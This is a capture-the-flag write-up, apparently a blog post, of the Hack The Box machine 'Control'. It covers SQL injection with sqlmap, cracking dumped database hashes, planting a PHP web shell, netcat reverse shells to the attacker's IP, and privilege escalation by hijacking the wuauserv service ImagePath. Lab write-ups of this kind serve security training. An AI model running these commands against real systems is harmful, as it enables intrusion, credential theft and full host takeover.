HTB: Control

Details

This machine is Control from Hack The Box

Recon

root@kali:~# nmap -sV -p- -T4 10.10.10.167
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-25 13:21 GMT
Nmap scan report for 10.10.10.167
Host is up (0.024s latency).
Not shown: 65530 filtered ports
PORT      STATE SERVICE VERSION
80/tcp    open  http    Microsoft IIS httpd 10.0
135/tcp   open  msrpc   Microsoft Windows RPC
3306/tcp  open  mysql?
49666/tcp open  msrpc   Microsoft Windows RPC
49667/tcp open  msrpc   Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.80%I=7%D=2/25%Time=5E551FB1%P=x86_64-pc-linux-gnu%r(NU
SF:LL,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.14\.27'\x20is\x20not\x20allow
SF:ed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(DNSVersionBi
SF:ndReqTCP,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.14\.27'\x20is\x20not\x2
SF:0allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(FourOh
SF:FourRequest,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.14\.27'\x20is\x20not
SF:\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 169.38 seconds

User

I started at http://10.10.10.167/

Screenshot 1

Then went to the about page

Screenshot 2

And the admin page

Screenshot 3

As I saw no proxies in the port scan, I realised I may be able to trick the system using a header. But I still needed to know the IP / host to pretend to come from. In the source of index I found a hint

Screenshot 4

So the IP could be 192.168.4.28, which would mean the faked header I wanted was

X-Forwarded-For: 192.168.4.28

So I used burp to inject this header into a request to the admin page which resulted in

Screenshot 5

Rather than doing this manually every time I used burps match and replace system

Screenshot 6

And looked over the rest of the admin panel

Screenshot 7

Screenshot 8

In the search bar I tried entering a single quote and got an SQL error

Screenshot 9

So I tested with ' or '1'='1

Screenshot 10

Then ' or id=1

Screenshot 11

And then ' or id=1 #

Screenshot 12

So it seemed I could use # for comments, I began to test for union injection, starting with 5 columns as 5 bits of data were shown about products

' union select 1,2,3,4 #

Screenshot 13

When I tried with 6

Screenshot 14

At this point I switched over to using sqlmap

root@kali:~# sqlmap --headers="X-Forwarded-For: 192.168.4.28" --level=5 --risk=3 -u http://10.10.10.167/search_products.php --data="productName=test" --dump
[SNIP]
Database: warehouse
Table: product_category
[4 entries]
+----+----------+
| id | category |
+----+----------+
| 1  | Default  |
| 2  | Adapters |
| 5  | Servers  |
| 6  | Monitors |
+----+----------+
[SNIP]
Database: warehouse
Table: product
[8 entries]
+----+-----+------------------------+-------+----------+----------+
| id | tax | name                   | price | category | quantity |
+----+-----+------------------------+-------+----------+----------+
| 26 | 0   | Cloud Server           | 20    | 1        | 2        |
| 31 | 0   | TP-LINK TL-WN722N v3   | 60    | 2        | 15       |
| 33 | 0   | TP-LINK Archer T2UH v2 | 111   | 2        | 25       |
| 34 | 0   | Asus USB-AC53 Nano     | 11    | 2        | 25       |
| 35 | 0   | TP-LINK TL-WN725N v3   | 19    | 2        | 24       |
| 36 | 0   | StarTech USB867WAC22   | 100   | 2        | 5        |
| 37 | 0   | Asus USB-AC68          | 100   | 1        | 5        |
| 38 | 0   | p                      | 1     | 1        | 1        |
+----+-----+------------------------+-------+----------+----------+
[SNIP]
Database: warehouse
Table: product_pack
[0 entries]
+----+---------+---------+----------+-----------+
| id | pack_id | product | quantity | pack_name |
+----+---------+---------+----------+-----------+
+----+---------+---------+----------+-----------+

This didn't really give me much so I tried another manual injection of

' union select version(),user(),database(),4,5,6 #

Screenshot 15

The name manager for the user was interesting, so I used sqldump to dump everything which resulted in some potentially interesting parts

+-----------------------+--------------+---------------+-------------------------+
| GRANTEE               | IS_GRANTABLE | TABLE_CATALOG | PRIVILEGE_TYPE          |
+-----------------------+--------------+---------------+-------------------------+
[SNIP]
| 'manager'@'localhost' | NO           | def           | FILE                    |
[SNIP]

So I may be able to read/write files on the file system with this

Database: mysql
Table: global_priv
[6 entries]
+-----------+---------------------------------------------------------------------------------------------------------------------------------------------------------------+---------+
| Host      | Priv                                                                                                                                                          | User    |
+-----------+---------------------------------------------------------------------------------------------------------------------------------------------------------------+---------+
| localhost | {"access": 18446744073709551615, "plugin": "mysql_native_password", "authentication_string": "*0A4A5CAD344718DC418035A1F4D292BA603134D8"}                     | root    |
| fidelity  | {"access": 18446744073709551615, "plugin": "mysql_native_password", "authentication_string": "*0A4A5CAD344718DC418035A1F4D292BA603134D8"}                     | root    |
| 127.0.0.1 | {"access": 18446744073709551615, "plugin": "mysql_native_password", "authentication_string": "*0A4A5CAD344718DC418035A1F4D292BA603134D8"}                     | root    |
| ::1       | {"access": 18446744073709551615, "plugin": "mysql_native_password", "authentication_string": "*0A4A5CAD344718DC418035A1F4D292BA603134D8"}                     | root    |
| localhost | {"access":512,"plugin":"mysql_native_password","authentication_string":"*CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA","password_last_changed":1571841981}        | manager |
| localhost | {"access":1073741823,"plugin":"mysql_native_password","authentication_string":"*0E178792E8FC304A2E3133D535D38CAF1DA3CD9D","password_last_changed":1572599872} | hector  |
+-----------+---------------------------------------------------------------------------------------------------------------------------------------------------------------+---------+

And I have some hashes, which were

root : A4A5CAD344718DC418035A1F4D292BA603134D8
manager : CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA
hector : 0E178792E8FC304A2E3133D535D38CAF1DA3CD9D

I threw these into crackstation

Screenshot 16

manager : l3tm3!n
hector : l33th4x0rhector

Next I tested if I could read files via the injection

root@kali:~# sqlmap --headers="X-Forwarded-For: 192.168.4.28" --level=5 --risk=3 -u http://10.10.10.167/search_products.php --data="productName=test" --sql-query="SELECT LOAD_FILE('C:/Windows/System32/drivers/etc/hosts')"
[14:28:46] [INFO] fetching SQL SELECT statement query output: 'SELECT LOAD_FILE('C:/Windows/System32/drivers/etc/hosts')'
SELECT LOAD_FILE('C:/Windows/System32/drivers/etc/hosts'): '# Copyright (c) 1993-2009 Microsoft Corp.\r\n#\r\n# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.\r\n#\r\n# This file contains the mappings of IP addresses to host names. Each\r\n# entry should be kept on an individual line. The IP address should\r\n# be placed in the first column followed by the corresponding host name.\r\n# The IP address and the host name should be separated by at least one\r\n# space.\r\n#\r\n# Additionally, comments (such as these) may be inserted on individual\r\n# lines or following the machine name denoted by a '#' symbol.\r\n#\r\n# For example:\r\n#\r\n#      102.54.94.97     rhino.acme.com          # source server\r\n#       38.25.63.10     x.acme.com              # x client host\r\n\r\n# localhost name resolution is handled within DNS itself.\r\n#\t127.0.0.1       localhost\r\n#\t::1             localhost\r\n'

I can. The goal was to write a php shell to the web root, my guess was that as the server was IIS this would be at C:\inetpub\wwwroot, so I tested this

root@kali:~# sqlmap --headers="X-Forwarded-For: 192.168.4.28" --level=5 --risk=3 -u http://10.10.10.167/search_products.php --data="productName=test" --sql-query="SELECT LOAD_FILE('C:/inetpub/wwwroot/index.php')"
[14:30:39] [INFO] fetching SQL SELECT statement query output: 'SELECT LOAD_FILE('C:/inetpub/wwwroot/index.php')'
SELECT LOAD_FILE('C:/inetpub/wwwroot/index.php'): '<!DOCTYPE html>\r\n<html lang="en">\r\n\r\n<head>\r\n\t<title>Fidelity</title>\r\n\t<meta charset="utf-8">\r\n\t<script type="text/javascript" src="assets/js/functions.js"></script>\r\n\t<meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" />\r\n\t<link rel="stylesheet" href="assets/css/main.css" />\r\n\t<noscript>\r\n\t\t<link rel="stylesheet" href="assets/css/noscript.css" /></noscript>\r\n</head>\r\n\r\n<body class="is-preload landing">\r\n\t<div id="page-wrapper">\r\n\t\t<!-- To Do:\r\n\t\t\t- Import Products\r\n\t\t\t- Link to new payment system\r\n\t\t\t- Enable SSL (Certificates location \\\\192.168.4.28\\myfiles)\r\n\t\t<!-- Header -->\r\n\t\t<header id="header">\r\n\t\t\t<h1 id="logo"><a href="index.php">Fidelity</a></h1>\r\n\t\t\t<nav id="nav">\r\n\t\t\t\t<ul>\r\n\t\t\t\t\t<li><a href="index.php">Home</a></li>\r\n\t\t\t\t\t<li><a href="about.php">About</a></li>\r\n\t\t\t\t\t<li><a href="admin.php">Admin</a></li>\r\n\t\t\t\t\t<li><a href="admin.php" class="button primary">Login</a></li>\r\n\t\t\t\t</ul>\r\n\t\t\t</nav>\r\n\t\t</header>\r\n\r\n\t\t<!-- Banner -->\r\n\t\t<section id="banner">\r\n\t\t\t<div class="content">\r\n\t\t\t\t<header>\r\n\t\t\t\t\t<h2>The future has landed</h2>\r\n\t\t\t\t\t<p>And there are no hoverboards or flying cars.<br />\r\n\t\t\t\t\t\tJust apps. Lots of mother flipping apps.</p>\r\n\t\t\t\t</header>\r\n\t\t\t\t<span class="image"><img src="images/pic01.jpg" alt="" /></span>\r\n\t\t\t</div>\r\n\t\t</section>\r\n\r\n\t\t<!-- Search -->\r\n\t\t<section id="search" class="wrapper style2 special fade">\r\n\t\t\t<h4></h4>\r\n\r\n\t\t\t<div class="container">\r\n\t\t\t\t<header>\r\n\t\t\t\t\t<h2>Stay Tuned</h2>\r\n\t\t\t\t\t<p>Subscribe to our Newsletter</p>\r\n\t\t\t\t</header>\r\n\t\t\t\t<form id="subscribe" action="#" method="GET" class="cta">\r\n\t\t\t\t\t<div class="row gtr-uniform gtr-50">\r\n\t\t\t\t\t\t<div class="col-8 col-12-xsmall"><input type="text" placeholder="Email" /></div>\r\n\t\t\t\t\t\t<div class="col-4 col-12-xsmall"><input type="submit" value="Subscribe" class="fit primary" /></div>\r\n\t\t\t\t\t</div>\r\n\t\t\t\t</form>\r\n\t\t\t</div>\r\n\t\t</section>\r\n\t\t<!-- Footer -->\r\n\t\t<footer id="footer">\r\n\t\t\t<ul class="icons">\r\n\t\t\t\t<li><a href="#" class="icon brands alt fa-twitter"><span class="label">Twitter</span></a></li>\r\n\t\t\t\t<li><a href="#" class="icon brands alt fa-facebook-f"><span class="label">Facebook</span></a></li>\r\n\t\t\t\t<li><a href="#" class="icon brands alt fa-linkedin-in"><span class="label">LinkedIn</span></a></li>\r\n\t\t\t\t<li><a href="#" class="icon brands alt fa-instagram"><span class="label">Instagram</span></a></li>\r\n\t\t\t\t<li><a href="#" class="icon brands alt fa-github"><span class="label">GitHub</span></a></li>\r\n\t\t\t\t<li><a href="#" class="icon solid alt fa-envelope"><span class="label">Email</span></a></li>\r\n\t\t\t</ul>\r\n\t\t\t<ul class="copyright">\r\n\t\t\t\t<li>\xa9 Fidelity. All rights reserved.</li>\r\n\t\t\t</ul>\r\n\t\t</footer>\r\n\r\n\t</div>\r\n\t<!-- Scripts -->\r\n\t<script src="assets/js/jquery.min.js"></script>\r\n\t<script src="assets/js/jquery.scrolly.min.js"></script>\r\n\t<script src="assets/js/jquery.dropotron.min.js"></script>\r\n\t<script src="assets/js/jquery.scrollex.min.js"></script>\r\n\t<script src="assets/js/browser.min.js"></script>\r\n\t<script src="assets/js/breakpoints.min.js"></script>\r\n\t<script src="assets/js/util.js"></script>\r\n\t<script src="assets/js/main.js"></script>\r\n</body>\r\n\r\n</html>'

So I knew where the webroot was. I made a file called shell.php which contained the following

<?php system($_GET['c']); ?>

And uploaded it to the webroot with sqlmap

root@kali:~# sqlmap --headers="X-Forwarded-For: 192.168.4.28" --level=5 --risk=3 -u http://10.10.10.167/search_products.php --data="productName=test" --file-write=/tmp/shell.php --file-dest='C:/inetpub/wwwroot/shell.php'

I then went to http://10.10.10.167/shell.php?c=whoami to test it

Screenshot 17

Using the sql injection again, I uploaded netcat

root@kali:~# sqlmap --headers="X-Forwarded-For: 192.168.4.28" --level=5 --risk=3 -u http://10.10.10.167/search_products.php --data="productName=test" --file-write=/tmp/nc.exe --file-dest='C:/inetpub/wwwroot/nc.exe'

And checked it had showed up by going to view-source:http://10.10.10.167/shell.php?c=dir

Screenshot 18

It had, so I set a listener

root@kali:~# nc -nvlp 4444

And triggered a shell by going to http://10.10.10.167/shell.php?c=.\nc.exe%2010.10.14.27%204444%20-e%20powershell.exe and checking the listener

connect to [10.10.14.27] from (UNKNOWN) [10.10.10.167] 51739
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\inetpub\wwwroot>

Next I checked which users existed in the users directory

PS C:\Users> dir
dir

    Directory: C:\Users

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        11/5/2019   2:34 PM                Administrator
d-----        11/1/2019  11:09 AM                Hector
d-r---       10/21/2019   5:29 PM                Public    

I have a potential password for hector of l33th4x0rhector from the database, so I tried running a command as him

PS C:\Users> $user = 'Fidelity\Hector'
PS C:\Users> $pass = 'l33th4x0rhector'
PS C:\Users> $securePassword = ConvertTo-SecureString $pass -AsPlainText -Force
PS C:\Users> $credential = New-Object System.Management.Automation.PSCredential $user, $securePassword
PS C:\Users> Invoke-Command -Computer Fidelity -ScriptBlock { whoami } -Credential $credential
control\hector

I can run things as hector, so I used it to get a shell as him

root@kali:~# nc -nlvp 5555

PS C:\Users> Invoke-Command -Computer Fidelity -ScriptBlock { C:\inetpub\wwwroot\nc.exe 10.10.14.27 5555 -e powershell.exe } -Credential $credential

And in the listener

connect to [10.10.14.27] from (UNKNOWN) [10.10.10.167] 51747
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\Hector\Documents>

PS C:\Users\Hector\Documents> whoami
control\hector

I can now get the flag from hectors desktop

PS C:\Users\Hector\Desktop> type user.txt
[REDACTED]

System

I found some PS history

PS C:\Users\Hector\AppData\Roaming\Microsoft\Windows\Powershell\PSReadLine> type ConsoleHost_history.txt
type ConsoleHost_history.txt
get-childitem HKLM:\SYSTEM\CurrentControlset | format-list
get-acl HKLM:\SYSTEM\CurrentControlSet | format-list

So I tried checking that same acl

 PS C:\Users\Hector\AppData\Roaming\Microsoft\Windows\Powershell\PSReadLine> get-acl HKLM:\SYSTEM\CurrentControlSet | format-list
get-acl HKLM:\SYSTEM\CurrentControlSet | format-list

Path   : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet
Owner  : BUILTIN\Administrators
Group  : NT AUTHORITY\SYSTEM
Access : BUILTIN\Administrators Allow  FullControl
         NT AUTHORITY\Authenticated Users Allow  ReadKey
         NT AUTHORITY\Authenticated Users Allow  -2147483648
         S-1-5-32-549 Allow  ReadKey
         S-1-5-32-549 Allow  -2147483648
         BUILTIN\Administrators Allow  FullControl
         BUILTIN\Administrators Allow  268435456
         NT AUTHORITY\SYSTEM Allow  FullControl
         NT AUTHORITY\SYSTEM Allow  268435456
         CREATOR OWNER Allow  268435456
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadKey
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  -2147483648
         S-1-15-3-1024-1065365936-1281604716-3511738428-1654721687-432734479-3232135806-4053264122-3456934681 Allow
         ReadKey
         S-1-15-3-1024-1065365936-1281604716-3511738428-1654721687-432734479-3232135806-4053264122-3456934681 Allow
         -2147483648
Audit  :
Sddl   : O:BAG:SYD:AI(A;;KA;;;BA)(A;ID;KR;;;AU)(A;CIIOID;GR;;;AU)(A;ID;KR;;;SO)(A;CIIOID;GR;;;SO)(A;ID;KA;;;BA)(A;CIIOI
         D;GA;;;BA)(A;ID;KA;;;SY)(A;CIIOID;GA;;;SY)(A;CIIOID;GA;;;CO)(A;ID;KR;;;AC)(A;CIIOID;GR;;;AC)(A;ID;KR;;;S-1-15-
         3-1024-1065365936-1281604716-3511738428-1654721687-432734479-3232135806-4053264122-3456934681)(A;CIIOID;GR;;;S
         -1-15-3-1024-1065365936-1281604716-3511738428-1654721687-432734479-3232135806-4053264122-3456934681)

Nothing stood out instantly, but I knew that the services are stored one level down in this path, so I checked the acl for that too

PS C:\Users\Hector\AppData\Roaming\Microsoft\Windows\Powershell\PSReadLine> get-acl HKLM:\SYSTEM\CurrentControlSet\Services | format-list
get-acl HKLM:\SYSTEM\CurrentControlSet\Services | format-list

Path   : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
Owner  : NT AUTHORITY\SYSTEM
Group  : NT AUTHORITY\SYSTEM
Access : CREATOR OWNER Allow  FullControl
         NT AUTHORITY\Authenticated Users Allow  ReadKey
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         CONTROL\Hector Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadKey
Audit  :
Sddl   : O:SYG:SYD:PAI(A;CIIO;KA;;;CO)(A;CI;KR;;;AU)(A;CI;KA;;;SY)(A;CI;KA;;;BA)(A;CI;KA;;;S-1-5-21-3271572904-80546332
         -2170161114-1000)(A;CI;KR;;;AC)

This one I have full control over. Which means I can modify a services ImagePath and make it run a shell. Importantly, I needed a service I could control

PS C:\Users\Hector> Get-Acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "Hector Name Owner" | findstr /i "Owner Name"
[SNIP]
Owner                   : NT AUTHORITY\SYSTEM
                          CREATOR OWNER Allow  FullControl
PSChildName             : wuauserv
[SNIP]

This runs as system, it is used in windows updates so should be in a stopped state and I should be able to start it. This made it a perfect candidate for attack, so I replaced it's image path with a call to the nc.exe I uploaded earlier

PS C:\Users\Hector> Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\services\wuauserv" -Name "ImagePath" -Value "C:\inetpub\wwwroot\nc.exe 10.10.14.27 6666 -e powershell.exe"

PS C:\Users\Hector> Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\services\wuauserv" -Name "ImagePath"
ImagePath    : C:\inetpub\wwwroot\nc.exe 10.10.14.27 6666 -e powershell.exe
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\services\wuauserv
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\services
PSChildName  : wuauserv
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

I then set another listener

root@kali:~# nc -nvlp 6666

And started the service

PS C:\Users\Hector> Start-Service wuauserv

In the listener

connect to [10.10.14.27] from (UNKNOWN) [10.10.10.167] 50224
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32>

PS C:\Windows\system32> whoami
whoami
nt authority\system

I could now get the root flag

PS C:\Users\Administrator\Desktop> type root.txt
type root.txt
[REDACTED]

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.